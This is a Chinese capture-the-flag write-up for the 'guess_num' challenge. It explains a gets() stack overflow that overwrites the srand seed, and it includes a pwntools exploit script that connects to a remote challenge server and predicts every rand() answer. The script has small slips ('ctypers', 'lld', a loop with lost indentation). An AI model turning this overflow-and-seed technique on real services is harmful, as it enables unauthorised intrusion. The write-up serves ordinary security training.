先file checksec一下,保护开全,64位,拖到ida查看情况
我们这里看到gets这个漏洞
下面有个srand函数,于是我们想到溢出覆盖,这个seed就是srand的参数,如果我们用我们特定已知的数字作为参数,就可以得到flag,所以我们先覆盖到seed再sendline srand参数,再给它传入特定的数字就ok了。
在命令行 lld guess_num得到共享库的地址
关于动态库
https://www.cnblogs.com/Daniel-G/p/3190315.html
(可以参照这个)
from ctypers import *#引入python标准库中自带的ctypes模块进行python和c的混合编程
from pwn import *
kubopiy=remote("220.249.52.133",41053)#进行连接
elf = ELF("./guess_num")
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")#这些都是系统自带的
payload=b'a'*(0x30-0x10)+p64(1)#b是字节,填入这么多的a,再加一个64位打包好的覆盖使之能够覆盖seed
kubopiy.recvuntil("Your name:")#接收到那一句话
kubopiy.sendline(payload)
libc.srand(1)
for i in range(10):
kubopiy.recvuntil("Please input your guess number:") # 接收到那一句话
kubopiy.sendline(str(libc.rand()%6+1))
kubopiy.interactive()